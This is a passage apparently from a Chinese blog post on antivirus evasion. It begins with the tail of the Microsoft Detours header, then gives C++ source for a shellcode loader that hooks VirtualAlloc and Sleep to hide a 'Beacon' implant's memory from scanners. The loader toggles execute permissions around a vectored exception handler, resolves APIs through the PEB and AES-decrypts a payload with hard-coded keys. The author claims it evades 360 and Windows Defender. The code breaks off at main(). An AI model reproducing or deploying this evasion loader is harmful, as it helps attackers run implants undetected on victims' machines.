#endif // !UNICODE

    BOOL WINAPI DetourCreateProcessWithDllExA(_In_opt_ LPCSTR lpApplicationName,
        _Inout_opt_ LPSTR lpCommandLine,
        _In_opt_ LPSECURITY_ATTRIBUTES lpProcessAttributes,
        _In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes,
        _In_ BOOL bInheritHandles,
        _In_ DWORD dwCreationFlags,
        _In_opt_ LPVOID lpEnvironment,
        _In_opt_ LPCSTR lpCurrentDirectory,
        _In_ LPSTARTUPINFOA lpStartupInfo,
        _Out_ LPPROCESS_INFORMATION lpProcessInformation,
        _In_ LPCSTR lpDllName,
        _In_opt_ PDETOUR_CREATE_PROCESS_ROUTINEA pfCreateProcessA);

    BOOL WINAPI DetourCreateProcessWithDllExW(_In_opt_ LPCWSTR lpApplicationName,
        _Inout_opt_  LPWSTR lpCommandLine,
        _In_opt_ LPSECURITY_ATTRIBUTES lpProcessAttributes,
        _In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes,
        _In_ BOOL bInheritHandles,
        _In_ DWORD dwCreationFlags,
        _In_opt_ LPVOID lpEnvironment,
        _In_opt_ LPCWSTR lpCurrentDirectory,
        _In_ LPSTARTUPINFOW lpStartupInfo,
        _Out_ LPPROCESS_INFORMATION lpProcessInformation,
        _In_ LPCSTR lpDllName,
        _In_opt_ PDETOUR_CREATE_PROCESS_ROUTINEW pfCreateProcessW);

#ifdef UNICODE
#define DetourCreateProcessWithDllEx    DetourCreateProcessWithDllExW
#else
#define DetourCreateProcessWithDllEx    DetourCreateProcessWithDllExA
#endif // !UNICODE

    BOOL WINAPI DetourCreateProcessWithDllsA(_In_opt_ LPCSTR lpApplicationName,
        _Inout_opt_ LPSTR lpCommandLine,
        _In_opt_ LPSECURITY_ATTRIBUTES lpProcessAttributes,
        _In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes,
        _In_ BOOL bInheritHandles,
        _In_ DWORD dwCreationFlags,
        _In_opt_ LPVOID lpEnvironment,
        _In_opt_ LPCSTR lpCurrentDirectory,
        _In_ LPSTARTUPINFOA lpStartupInfo,
        _Out_ LPPROCESS_INFORMATION lpProcessInformation,
        _In_ DWORD nDlls,
        _In_reads_(nDlls) LPCSTR* rlpDlls,
        _In_opt_ PDETOUR_CREATE_PROCESS_ROUTINEA pfCreateProcessA);

    BOOL WINAPI DetourCreateProcessWithDllsW(_In_opt_ LPCWSTR lpApplicationName,
        _Inout_opt_ LPWSTR lpCommandLine,
        _In_opt_ LPSECURITY_ATTRIBUTES lpProcessAttributes,
        _In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes,
        _In_ BOOL bInheritHandles,
        _In_ DWORD dwCreationFlags,
        _In_opt_ LPVOID lpEnvironment,
        _In_opt_ LPCWSTR lpCurrentDirectory,
        _In_ LPSTARTUPINFOW lpStartupInfo,
        _Out_ LPPROCESS_INFORMATION lpProcessInformation,
        _In_ DWORD nDlls,
        _In_reads_(nDlls) LPCSTR* rlpDlls,
        _In_opt_ PDETOUR_CREATE_PROCESS_ROUTINEW pfCreateProcessW);

#ifdef UNICODE
#define DetourCreateProcessWithDlls     DetourCreateProcessWithDllsW
#else
#define DetourCreateProcessWithDlls     DetourCreateProcessWithDllsA
#endif // !UNICODE

    BOOL WINAPI DetourProcessViaHelperA(_In_ DWORD dwTargetPid,
        _In_ LPCSTR lpDllName,
        _In_ PDETOUR_CREATE_PROCESS_ROUTINEA pfCreateProcessA);

    BOOL WINAPI DetourProcessViaHelperW(_In_ DWORD dwTargetPid,
        _In_ LPCSTR lpDllName,
        _In_ PDETOUR_CREATE_PROCESS_ROUTINEW pfCreateProcessW);

#ifdef UNICODE
#define DetourProcessViaHelper          DetourProcessViaHelperW
#else
#define DetourProcessViaHelper          DetourProcessViaHelperA
#endif // !UNICODE

    BOOL WINAPI DetourProcessViaHelperDllsA(_In_ DWORD dwTargetPid,
        _In_ DWORD nDlls,
        _In_reads_(nDlls) LPCSTR* rlpDlls,
        _In_ PDETOUR_CREATE_PROCESS_ROUTINEA pfCreateProcessA);

    BOOL WINAPI DetourProcessViaHelperDllsW(_In_ DWORD dwTargetPid,
        _In_ DWORD nDlls,
        _In_reads_(nDlls) LPCSTR* rlpDlls,
        _In_ PDETOUR_CREATE_PROCESS_ROUTINEW pfCreateProcessW);

#ifdef UNICODE
#define DetourProcessViaHelperDlls      DetourProcessViaHelperDllsW
#else
#define DetourProcessViaHelperDlls      DetourProcessViaHelperDllsA
#endif // !UNICODE

    BOOL WINAPI DetourUpdateProcessWithDll(_In_ HANDLE hProcess,
        _In_reads_(nDlls) LPCSTR* rlpDlls,
        _In_ DWORD nDlls);

    BOOL WINAPI DetourUpdateProcessWithDllEx(_In_ HANDLE hProcess,
        _In_ HMODULE hImage,
        _In_ BOOL bIs32Bit,
        _In_reads_(nDlls) LPCSTR* rlpDlls,
        _In_ DWORD nDlls);

    BOOL WINAPI DetourCopyPayloadToProcess(_In_ HANDLE hProcess,
        _In_ REFGUID rguid,
        _In_reads_bytes_(cbData) LPCVOID pvData,
        _In_ DWORD cbData);
    _Success_(return != NULL)
        PVOID WINAPI DetourCopyPayloadToProcessEx(_In_ HANDLE hProcess,
            _In_ REFGUID rguid,
            _In_reads_bytes_(cbData) LPCVOID pvData,
            _In_ DWORD cbData);

    BOOL WINAPI DetourRestoreAfterWith(VOID);
    BOOL WINAPI DetourRestoreAfterWithEx(_In_reads_bytes_(cbData) PVOID pvData,
        _In_ DWORD cbData);
    BOOL WINAPI DetourIsHelperProcess(VOID);
    VOID CALLBACK DetourFinishHelperProcess(_In_ HWND,
        _In_ HINSTANCE,
        _In_ LPSTR,
        _In_ INT);

    //
    //
#ifdef __cplusplus
}
#endif // __cplusplus

/// Type-safe overloads for C++
//
#if __cplusplus >= 201103L || _MSVC_LANG >= 201103L
#include <type_traits>

template<typename T>
struct DetoursIsFunctionPointer : std::false_type {};

template<typename T>
struct DetoursIsFunctionPointer<T*> : std::is_function<typename std::remove_pointer<T>::type> {};

template<
    typename T,
    typename std::enable_if<DetoursIsFunctionPointer<T>::value, int>::type = 0>
    LONG DetourAttach(_Inout_ T* ppPointer,
        _In_ T pDetour) noexcept
{
    return DetourAttach(
        reinterpret_cast<void**>(ppPointer),
        reinterpret_cast<void*>(pDetour));
}

template<
    typename T,
    typename std::enable_if<DetoursIsFunctionPointer<T>::value, int>::type = 0>
    LONG DetourAttachEx(_Inout_ T* ppPointer,
        _In_ T pDetour,
        _Out_opt_ PDETOUR_TRAMPOLINE* ppRealTrampoline,
        _Out_opt_ T* ppRealTarget,
        _Out_opt_ T* ppRealDetour) noexcept
{
    return DetourAttachEx(
        reinterpret_cast<void**>(ppPointer),
        reinterpret_cast<void*>(pDetour),
        ppRealTrampoline,
        reinterpret_cast<void**>(ppRealTarget),
        reinterpret_cast<void**>(ppRealDetour));
}

template<
    typename T,
    typename std::enable_if<DetoursIsFunctionPointer<T>::value, int>::type = 0>
    LONG DetourDetach(_Inout_ T* ppPointer,
        _In_ T pDetour) noexcept
{
    return DetourDetach(
        reinterpret_cast<void**>(ppPointer),
        reinterpret_cast<void*>(pDetour));
}

#endif // __cplusplus >= 201103L || _MSVC_LANG >= 201103L
//
//

 Detours Internal Definitions.
//
#ifdef __cplusplus
#ifdef DETOURS_INTERNAL

#define NOTHROW
// #define NOTHROW (nothrow)

//
//
#if (_MSC_VER < 1299) && !defined(__GNUC__)
#include <imagehlp.h>
typedef IMAGEHLP_MODULE IMAGEHLP_MODULE64;
typedef PIMAGEHLP_MODULE PIMAGEHLP_MODULE64;
typedef IMAGEHLP_SYMBOL SYMBOL_INFO;
typedef PIMAGEHLP_SYMBOL PSYMBOL_INFO;

static inline
LONG InterlockedCompareExchange(_Inout_ LONG* ptr, _In_ LONG nval, _In_ LONG oval)
{
    return (LONG)::InterlockedCompareExchange((PVOID*)ptr, (PVOID)nval, (PVOID)oval);
}
#else
#pragma warning(push)
#pragma warning(disable:4091) // empty typedef
#include <dbghelp.h>
#pragma warning(pop)
#endif

#ifdef IMAGEAPI // defined by DBGHELP.H
typedef LPAPI_VERSION(NTAPI* PF_ImagehlpApiVersionEx)(_In_ LPAPI_VERSION AppVersion);

typedef BOOL(NTAPI* PF_SymInitialize)(_In_ HANDLE hProcess,
    _In_opt_ LPCSTR UserSearchPath,
    _In_ BOOL fInvadeProcess);
typedef DWORD(NTAPI* PF_SymSetOptions)(_In_ DWORD SymOptions);
typedef DWORD(NTAPI* PF_SymGetOptions)(VOID);
typedef DWORD64(NTAPI* PF_SymLoadModule64)(_In_ HANDLE hProcess,
    _In_opt_ HANDLE hFile,
    _In_opt_ LPSTR ImageName,
    _In_opt_ LPSTR ModuleName,
    _In_ DWORD64 BaseOfDll,
    _In_ DWORD SizeOfDll);
typedef BOOL(NTAPI* PF_SymGetModuleInfo64)(_In_ HANDLE hProcess,
    _In_ DWORD64 qwAddr,
    _Out_ PIMAGEHLP_MODULE64 ModuleInfo);
typedef BOOL(NTAPI* PF_SymFromName)(_In_ HANDLE hProcess,
    _In_ LPSTR Name,
    _Out_ PSYMBOL_INFO Symbol);

typedef struct _DETOUR_SYM_INFO
{
    HANDLE                  hProcess;
    HMODULE                 hDbgHelp;
    PF_ImagehlpApiVersionEx pfImagehlpApiVersionEx;
    PF_SymInitialize        pfSymInitialize;
    PF_SymSetOptions        pfSymSetOptions;
    PF_SymGetOptions        pfSymGetOptions;
    PF_SymLoadModule64      pfSymLoadModule64;
    PF_SymGetModuleInfo64   pfSymGetModuleInfo64;
    PF_SymFromName          pfSymFromName;
} DETOUR_SYM_INFO, * PDETOUR_SYM_INFO;

PDETOUR_SYM_INFO DetourLoadImageHlp(VOID);

#endif // IMAGEAPI

#if defined(_INC_STDIO) && !defined(_CRT_STDIO_ARBITRARY_WIDE_SPECIFIERS)
#error detours.h must be included before stdio.h (or at least define _CRT_STDIO_ARBITRARY_WIDE_SPECIFIERS earlier)
#endif
#define _CRT_STDIO_ARBITRARY_WIDE_SPECIFIERS 1

#ifdef _DEBUG

int Detour_AssertExprWithFunctionName(int reportType, const char* filename, int linenumber, const char* FunctionName, const char* msg);

#define DETOUR_ASSERT_EXPR_WITH_FUNCTION(expr, msg) \
    (void) ((expr) || \
    (1 != Detour_AssertExprWithFunctionName(_CRT_ASSERT, __FILE__, __LINE__,__FUNCTION__, msg)) || \
    (_CrtDbgBreak(), 0))

#define DETOUR_ASSERT(expr) DETOUR_ASSERT_EXPR_WITH_FUNCTION((expr), #expr)

#else// _DEBUG
#define DETOUR_ASSERT(expr)
#endif// _DEBUG

#ifndef DETOUR_TRACE
#if DETOUR_DEBUG
#define DETOUR_TRACE(x) printf x
#define DETOUR_BREAK()  __debugbreak()
#include <stdio.h>
#include <limits.h>
#else
#define DETOUR_TRACE(x)
#define DETOUR_BREAK()
#endif
#endif

#if 1 || defined(DETOURS_IA64)

//
// IA64 instructions are 41 bits, 3 per bundle, plus 5 bit bundle template => 128 bits per bundle.
//

#define DETOUR_IA64_INSTRUCTIONS_PER_BUNDLE (3)

#define DETOUR_IA64_TEMPLATE_OFFSET (0)
#define DETOUR_IA64_TEMPLATE_SIZE   (5)

#define DETOUR_IA64_INSTRUCTION_SIZE (41)
#define DETOUR_IA64_INSTRUCTION0_OFFSET (DETOUR_IA64_TEMPLATE_SIZE)
#define DETOUR_IA64_INSTRUCTION1_OFFSET (DETOUR_IA64_TEMPLATE_SIZE + DETOUR_IA64_INSTRUCTION_SIZE)
#define DETOUR_IA64_INSTRUCTION2_OFFSET (DETOUR_IA64_TEMPLATE_SIZE + DETOUR_IA64_INSTRUCTION_SIZE + DETOUR_IA64_INSTRUCTION_SIZE)

C_ASSERT(DETOUR_IA64_TEMPLATE_SIZE + DETOUR_IA64_INSTRUCTIONS_PER_BUNDLE * DETOUR_IA64_INSTRUCTION_SIZE == 128);

__declspec(align(16)) struct DETOUR_IA64_BUNDLE
{
public:
    union
    {
        BYTE    data[16];
        UINT64  wide[2];
    };

    enum {
        A_UNIT = 1u,
        I_UNIT = 2u,
        M_UNIT = 3u,
        B_UNIT = 4u,
        F_UNIT = 5u,
        L_UNIT = 6u,
        X_UNIT = 7u,
    };
    struct DETOUR_IA64_METADATA
    {
        ULONG       nTemplate : 8;    // Instruction template.
        ULONG       nUnit0 : 4;    // Unit for slot 0
        ULONG       nUnit1 : 4;    // Unit for slot 1
        ULONG       nUnit2 : 4;    // Unit for slot 2
    };

protected:
    static const DETOUR_IA64_METADATA s_rceCopyTable[33];

    UINT RelocateBundle(_Inout_ DETOUR_IA64_BUNDLE* pDst, _Inout_opt_ DETOUR_IA64_BUNDLE* pBundleExtra) const;

    bool RelocateInstruction(_Inout_ DETOUR_IA64_BUNDLE* pDst,
        _In_ BYTE slot,
        _Inout_opt_ DETOUR_IA64_BUNDLE* pBundleExtra) const;

    // 120 112 104 96 88 80 72 64 56 48 40 32 24 16  8  0
    //  f.  e.  d. c. b. a. 9. 8. 7. 6. 5. 4. 3. 2. 1. 0.

    //                                      00
    // f.e. d.c. b.a. 9.8. 7.6. 5.4. 3.2. 1.0.
    // 0000 0000 0000 0000 0000 0000 0000 001f : Template [4..0]
    // 0000 0000 0000 0000 0000 03ff ffff ffe0 : Zero [ 41..  5]
    // 0000 0000 0000 0000 0000 3c00 0000 0000 : Zero [ 45.. 42]
    // 0000 0000 0007 ffff ffff c000 0000 0000 : One  [ 82.. 46]
    // 0000 0000 0078 0000 0000 0000 0000 0000 : One  [ 86.. 83]
    // 0fff ffff ff80 0000 0000 0000 0000 0000 : Two  [123.. 87]
    // f000 0000 0000 0000 0000 0000 0000 0000 : Two  [127..124]
    BYTE    GetTemplate() const;
    // Get 4 bit opcodes.
    BYTE    GetInst0() const;
    BYTE    GetInst1() const;
    BYTE    GetInst2() const;
    BYTE    GetUnit(BYTE slot) const;
    BYTE    GetUnit0() const;
    BYTE    GetUnit1() const;
    BYTE    GetUnit2() const;
    // Get 37 bit data.
    UINT64  GetData0() const;
    UINT64  GetData1() const;
    UINT64  GetData2() const;

    // Get/set the full 41 bit instructions.
    UINT64  GetInstruction(BYTE slot) const;
    UINT64  GetInstruction0() const;
    UINT64  GetInstruction1() const;
    UINT64  GetInstruction2() const;
    void    SetInstruction(BYTE slot, UINT64 instruction);
    void    SetInstruction0(UINT64 instruction);
    void    SetInstruction1(UINT64 instruction);
    void    SetInstruction2(UINT64 instruction);

    // Get/set bitfields.
    static UINT64 GetBits(UINT64 Value, UINT64 Offset, UINT64 Count);
    static UINT64 SetBits(UINT64 Value, UINT64 Offset, UINT64 Count, UINT64 Field);

    // Get specific read-only fields.
    static UINT64 GetOpcode(UINT64 instruction); // 4bit opcode
    static UINT64 GetX(UINT64 instruction); // 1bit opcode extension
    static UINT64 GetX3(UINT64 instruction); // 3bit opcode extension
    static UINT64 GetX6(UINT64 instruction); // 6bit opcode extension

    // Get/set specific fields.
    static UINT64 GetImm7a(UINT64 instruction);
    static UINT64 SetImm7a(UINT64 instruction, UINT64 imm7a);
    static UINT64 GetImm13c(UINT64 instruction);
    static UINT64 SetImm13c(UINT64 instruction, UINT64 imm13c);
    static UINT64 GetSignBit(UINT64 instruction);
    static UINT64 SetSignBit(UINT64 instruction, UINT64 signBit);
    static UINT64 GetImm20a(UINT64 instruction);
    static UINT64 SetImm20a(UINT64 instruction, UINT64 imm20a);
    static UINT64 GetImm20b(UINT64 instruction);
    static UINT64 SetImm20b(UINT64 instruction, UINT64 imm20b);

    static UINT64 SignExtend(UINT64 Value, UINT64 Offset);

    BOOL    IsMovlGp() const;

    VOID    SetInst(BYTE Slot, BYTE nInst);
    VOID    SetInst0(BYTE nInst);
    VOID    SetInst1(BYTE nInst);
    VOID    SetInst2(BYTE nInst);
    VOID    SetData(BYTE Slot, UINT64 nData);
    VOID    SetData0(UINT64 nData);
    VOID    SetData1(UINT64 nData);
    VOID    SetData2(UINT64 nData);
    BOOL    SetNop(BYTE Slot);
    BOOL    SetNop0();
    BOOL    SetNop1();
    BOOL    SetNop2();

public:
    BOOL    IsBrl() const;
    VOID    SetBrl();
    VOID    SetBrl(UINT64 target);
    UINT64  GetBrlTarget() const;
    VOID    SetBrlTarget(UINT64 target);
    VOID    SetBrlImm(UINT64 imm);
    UINT64  GetBrlImm() const;

    UINT64  GetMovlGp() const;
    VOID    SetMovlGp(UINT64 gp);

    VOID    SetStop();

    UINT    Copy(_Out_ DETOUR_IA64_BUNDLE* pDst, _Inout_opt_ DETOUR_IA64_BUNDLE* pBundleExtra = NULL) const;
};
#endif // DETOURS_IA64

#ifdef DETOURS_ARM

#define DETOURS_PFUNC_TO_PBYTE(p)  ((PBYTE)(((ULONG_PTR)(p)) & ~(ULONG_PTR)1))
#define DETOURS_PBYTE_TO_PFUNC(p)  ((PBYTE)(((ULONG_PTR)(p)) | (ULONG_PTR)1))

#endif // DETOURS_ARM

//

#ifdef __cplusplus
extern "C" {
#endif // __cplusplus

#define DETOUR_OFFLINE_LIBRARY(x)                                       \
PVOID WINAPI DetourCopyInstruction##x(_In_opt_ PVOID pDst,              \
                                      _Inout_opt_ PVOID *ppDstPool,     \
                                      _In_ PVOID pSrc,                  \
                                      _Out_opt_ PVOID *ppTarget,        \
                                      _Out_opt_ LONG *plExtra);         \
                                                                        \
BOOL WINAPI DetourSetCodeModule##x(_In_ HMODULE hModule,                \
                                   _In_ BOOL fLimitReferencesToModule); \

    DETOUR_OFFLINE_LIBRARY(X86)
        DETOUR_OFFLINE_LIBRARY(X64)
        DETOUR_OFFLINE_LIBRARY(ARM)
        DETOUR_OFFLINE_LIBRARY(ARM64)
        DETOUR_OFFLINE_LIBRARY(IA64)

#undef DETOUR_OFFLINE_LIBRARY

        //
        //
        // Helpers for manipulating page protection.
        //

        _Success_(return != FALSE)
        BOOL WINAPI DetourVirtualProtectSameExecuteEx(_In_  HANDLE hProcess,
            _In_  PVOID pAddress,
            _In_  SIZE_T nSize,
            _In_  DWORD dwNewProtect,
            _Out_ PDWORD pdwOldProtect);

    _Success_(return != FALSE)
        BOOL WINAPI DetourVirtualProtectSameExecute(_In_  PVOID pAddress,
            _In_  SIZE_T nSize,
            _In_  DWORD dwNewProtect,
            _Out_ PDWORD pdwOldProtect);

    // Detours must depend only on kernel32.lib, so we cannot use IsEqualGUID
    BOOL WINAPI DetourAreSameGuid(_In_ REFGUID left, _In_ REFGUID right);
#ifdef __cplusplus
}
#endif // __cplusplus

//

#define MM_ALLOCATION_GRANULARITY 0x10000

//

#endif // DETOURS_INTERNAL
#endif // __cplusplus

#endif // _DETOURS_H_
//
  End of File.

在这里插入图片描述
看看免杀效果
再次模型上修改
在这里插入图片描述
可以看到此版本是内存做了加解密的
去黑框之后免杀效果测试
360安全中心,360杀毒,windows defender都可以过掉,如下图
在这里插入图片描述
在这里插入图片描述
总体修改思路就是在上面的基础上修改了特征,按照ConsoleApplication811进行修改的,几乎是在ConsoleApplication811的基础上进行了内存加密,hook使用的是detours进行,也就是这部分内容
全代码如下:
ConsoleApplication815.cpp


#include <iostream>
#include<Windows.h>
#include "detours.h"
#include "detver.h"
#include <WinInet.h>
#include "base64.h"
#include "AES.h"
#include "need.h"


#pragma comment(lib,"detours.lib")
#pragma comment(lib,"wininet")

#pragma warning(disable:4996)
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")

extern "C" PVOID64 _cdecl GetPeb();
using namespace std;

LPVOID Beacon_address;
SIZE_T Beacon_data_len;
DWORD Beacon_Memory_address_flOldProtect;
HANDLE hEvent;


BOOL Vir_FLAG = TRUE;
LPVOID shellcode_addr;

typedef LPVOID(WINAPI* VirtualAllocT)(
	_In_opt_ LPVOID lpAddress,
	_In_     SIZE_T dwSize,
	_In_     DWORD flAllocationType,
	_In_     DWORD flProtect
	);

typedef HINTERNET(WINAPI* InternetOpenW_T)(
	_In_opt_ LPCWSTR lpszAgent,
	_In_ DWORD dwAccessType,
	_In_opt_ LPCWSTR lpszProxy,
	_In_opt_ LPCWSTR lpszProxyBypass,
	_In_ DWORD dwFlags
	);

typedef HINTERNET(WINAPI* InternetConnectW_T)(
	_In_ HINTERNET hInternet,
	_In_ LPCWSTR lpszServerName,
	_In_ INTERNET_PORT nServerPort,
	_In_opt_ LPCWSTR lpszUserName,
	_In_opt_ LPCWSTR lpszPassword,
	_In_ DWORD dwService,
	_In_ DWORD dwFlags,
	_In_opt_ DWORD_PTR dwContext
	);

typedef HINTERNET(WINAPI* HttpOpenRequestW_T)(
	_In_ HINTERNET hConnect,
	_In_opt_ LPCWSTR lpszVerb,
	_In_opt_ LPCWSTR lpszObjectName,
	_In_opt_ LPCWSTR lpszVersion,
	_In_opt_ LPCWSTR lpszReferrer,
	_In_opt_z_ LPCWSTR FAR* lplpszAcceptTypes,
	_In_ DWORD dwFlags,
	_In_opt_ DWORD_PTR dwContext
	);

typedef HINTERNET(WINAPI* HttpSendRequestW_T)(
	_In_ HINTERNET hRequest,
	_In_reads_opt_(dwHeadersLength) LPCWSTR lpszHeaders,
	_In_ DWORD dwHeadersLength,
	_In_reads_bytes_opt_(dwOptionalLength) LPVOID lpOptional,
	_In_ DWORD dwOptionalLength
	);

typedef HINTERNET(WINAPI* InternetReadFile_T)(
	_In_ HINTERNET hFile,
	_Out_writes_bytes_(dwNumberOfBytesToRead) __out_data_source(NETWORK) LPVOID lpBuffer,
	_In_ DWORD dwNumberOfBytesToRead,
	_Out_ LPDWORD lpdwNumberOfBytesRead
	);

FARPROC CustomGetProcAddress(HMODULE hModule, LPCSTR lpProcName) {
	// Get the address of the module's PE header
	BYTE* pImageBase = (BYTE*)hModule;
	IMAGE_DOS_HEADER* pDosHeader = (IMAGE_DOS_HEADER*)pImageBase;
	IMAGE_NT_HEADERS64* pNtHeaders = (IMAGE_NT_HEADERS64*)(pImageBase + pDosHeader->e_lfanew);

	// Get the address of the export directory
	IMAGE_DATA_DIRECTORY exportDirectory = pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
	IMAGE_EXPORT_DIRECTORY* pExportDir = (IMAGE_EXPORT_DIRECTORY*)(pImageBase + exportDirectory.VirtualAddress);

	DWORD* pAddressOfFunctions = (DWORD*)(pImageBase + pExportDir->AddressOfFunctions);
	WORD* pAddressOfNameOrdinals = (WORD*)(pImageBase + pExportDir->AddressOfNameOrdinals);
	DWORD* pAddressOfNames = (DWORD*)(pImageBase + pExportDir->AddressOfNames);

	for (DWORD i = 0; i < pExportDir->NumberOfNames; ++i) {
		LPCSTR pName = (LPCSTR)(pImageBase + pAddressOfNames[i]);
		if (strcmp(lpProcName, pName) == 0) {
			WORD ordinal = pAddressOfNameOrdinals[i];
			DWORD functionRVA = pAddressOfFunctions[ordinal];
			FARPROC pFunction = (FARPROC)(pImageBase + functionRVA);
			return pFunction;
		}
	}

	return NULL;
}

HMODULE getKernel32Address()
{
	PVOID64 Peb = GetPeb();
	PVOID64 LDR_DATA_Addr = *(PVOID64**)((BYTE*)Peb + 0x018);  //0x018是LDR相对于PEB偏移   存放着LDR的基地址
	UNICODE_STRING* FullName;
	HMODULE hKernel32 = NULL;
	LIST_ENTRY* pNode = NULL;
	pNode = (LIST_ENTRY*)(*(PVOID64**)((BYTE*)LDR_DATA_Addr + 0x30));  //偏移到InInitializationOrderModuleList
	while (true)
	{
		FullName = (UNICODE_STRING*)((BYTE*)pNode + 0x38);//BaseDllName基于InInitialzationOrderModuList的偏移
		if (*(FullName->Buffer + 12) == '\0')
		{
			hKernel32 = (HMODULE)(*((ULONG64*)((BYTE*)pNode + 0x10)));//DllBase
			break;
		}
		pNode = pNode->Flink;
	}
	return hKernel32;
}

HMODULE getWininetAddress()
{
	HMODULE hWininet = nullptr;

	// 获取模块句柄
	hWininet = GetModuleHandle(L"wininet.dll");

	return hWininet;
}


//AES的key和iv
const char g_key[17] = "asdfwetyhjuytrfd";
const char g_iv[17] = "gfdertfghjkuyrtg";//ECB MODE不需要关心chain,可以填空
string DecryptionAES(const string& strSrc) //AES解密
{
	string strData = ko::Base64::decode(strSrc);
	size_t length = strData.length();
	//密文
	char* szDataIn = new char[length + 1];
	memcpy(szDataIn, strData.c_str(), length + 1);
	//明文
	char* szDataOut = new char[length + 1];
	memcpy(szDataOut, strData.c_str(), length + 1);

	//进行AES的CBC模式解密
	AES aes;
	aes.MakeKey(g_key, g_iv, 16, 16);
	aes.Decrypt(szDataIn, szDataOut, length, AES::CBC);

	//去PKCS7Padding填充
	if (0x00 < szDataOut[length - 1] <= 0x16)
	{
		int tmp = szDataOut[length - 1];
		for (int i = length - 1; i >= length - tmp; i--)
		{
			if (szDataOut[i] != tmp)
			{
				memset(szDataOut, 0, length);
				cout << "去填充失败!解密出错!!" << endl;
				break;
			}
			else
				szDataOut[i] = 0;
		}
	}
	string strDest(szDataOut);
	delete[] szDataIn;
	delete[] szDataOut;
	return strDest;
}

//Hook VirtualAlloc函数的原因是我们需要知道Beacon在自展开时分配的可执行内存起始地址和大小是多少好在后面对这块内存取消X属性以免被扫描
static LPVOID(WINAPI* OldVirtualAlloc)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect) = VirtualAlloc;
LPVOID WINAPI NewVirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect) {
	Beacon_data_len = dwSize;
	Beacon_address = OldVirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect);
	printf("分配大小:%d", Beacon_data_len);
	printf("分配地址:%llx \n", Beacon_address);
	return Beacon_address;
}

//Hool Sleep函数是因为我们需要在Beacon进入Sleep后立马取消Beacon内存区域的X属性
static VOID(WINAPI* OldSleep)(DWORD dwMilliseconds) = Sleep;
void WINAPI NewSleep(DWORD dwMilliseconds)
{
	if (Vir_FLAG)
	{
		VirtualFree(shellcode_addr, 0, MEM_RELEASE);
		Vir_FLAG = false;
	}
	printf("sleep时间:%d\n", dwMilliseconds);
	SetEvent(hEvent);
	OldSleep(dwMilliseconds);
}

void Hook()
{
	DetourRestoreAfterWith(); //避免重复HOOK,恢复原来HOOK
	DetourTransactionBegin(); // 开始HOOK
	DetourUpdateThread(GetCurrentThread());  //刷新当前线程
	DetourAttach((PVOID*)&OldVirtualAlloc, NewVirtualAlloc);  //将拦截的函数附加到原函数的地址上,这里可以拦截多个函数  NewVirtualAlloc
	DetourAttach((PVOID*)&OldSleep, NewSleep);    //将拦截的函数附加到原函数的地址上, 这里可以拦截多个函数  NewSleep
	DetourTransactionCommit(); //  提交HOOK
}

void UnHook()
{
	DetourTransactionBegin();   //恢复原来HOOK
	DetourUpdateThread(GetCurrentThread());   //刷新当前线程
	DetourDetach((PVOID*)&OldVirtualAlloc, NewVirtualAlloc);  //解除hook
	DetourTransactionCommit();  //提交
}

size_t GetSize(char* szFilePath)
{
	size_t size;
	FILE* f = fopen(szFilePath, "rb");
	fseek(f, 0, SEEK_END);  //fseek函数用于重定位流(数据流/文件)上的文件内部位置指针   //SEEK_END代表文件末尾
	size = ftell(f); //获取文件的 当前指针位置 相对于 文件首地址 的偏移字节数
	rewind(f);  //rewind() 函数将文件位置指示符设置为给定文件流的开头
	fclose(f);
	return size;
}

unsigned char* ReadBinaryFile(char* szFilePath, size_t* size)
{
	unsigned char* p = NULL;
	FILE* f = NULL;
	size_t res = 0;
	*size = GetSize(szFilePath);  //
	if (*size == 0) return NULL;
	f = fopen(szFilePath, "rb");
	if (f == NULL)
	{
		printf("Binary file does not exists!\n");
		return 0;
	}
	p = new unsigned char[*size];
	// Read file
	rewind(f);
	res = fread(p, sizeof(unsigned char), *size, f);
	fclose(f);
	if (res == 0)
	{
		delete[] p;
		return NULL;
	}
	return p;
}





BOOL is_Exception(DWORD64 Exception_addr)
{
	if (Exception_addr < ((DWORD64)Beacon_address + Beacon_data_len) && Exception_addr >(DWORD64)Beacon_address)
	{
		printf("地址符合:%llx\n", Exception_addr);
		return true;
	}
	printf("地址不符合:%llx\n", Exception_addr);
	return false;
}


//设置VEH异常处理函数,用来在因内存X属性取消后触发异常时恢复X属性
LONG NTAPI FirstVectExcepHandler(PEXCEPTION_POINTERS pExcepInfo)
{
	printf("FirstVectExcepHandler\n");
	printf("异常错误码:%x\n", pExcepInfo->ExceptionRecord->ExceptionCode);
	printf("线程地址:%llx\n", pExcepInfo->ContextRecord->Rip);
	if (pExcepInfo->ExceptionRecord->ExceptionCode == 0xc0000005 && is_Exception(pExcepInfo->ContextRecord->Rip))    //判断异常错误码是否等于0xc0000005,并且调用is_Exception函数来判断pExcepInfo->ContextRecord->Rip是否符合某个条件。pExcepInfo 是一个指向异常信息结构体 EXCEPINFO 的指针,用于存储关于异常的详细信息,ContextRecord 是 EXCEPTION_RECORD 结构体的一个成员,它是一个指向上下文记录的指针,其中包含有关引发异常的线程的上下文信息
	{
		printf("恢复Beacon内存属性\n");
		VirtualProtect(Beacon_address, Beacon_data_len, PAGE_EXECUTE_READWRITE, &Beacon_Memory_address_flOldProtect);  //恢复beacon内存属性
		return EXCEPTION_CONTINUE_EXECUTION;
	}
	return EXCEPTION_CONTINUE_SEARCH;
}

//然后创建一个线程用来在Beacon进入睡眠之后立刻取消Beacon内存区域的X属性
DWORD WINAPI Beacon_set_Memory_attributes(LPVOID lpParameter)
{
	printf("Beacon_set_Memory_attributes启动\n");
	while (true)  
	{
		WaitForSingleObject(hEvent, INFINITE);   //INFINITE表示等待时间无限长,直到收到信号为止
		printf("设置Beacon内存属性不可执行\n");
		VirtualProtect(Beacon_address, Beacon_data_len, PAGE_READWRITE, &Beacon_Memory_address_flOldProtect);   //内存属性
		ResetEvent(hEvent);     //重置事件对象
	}
	return 0;
}

int main()
{
	//创建事件用来同步线程
	hEvent = CreateEvent(NULL, TRUE, false, NULL);   

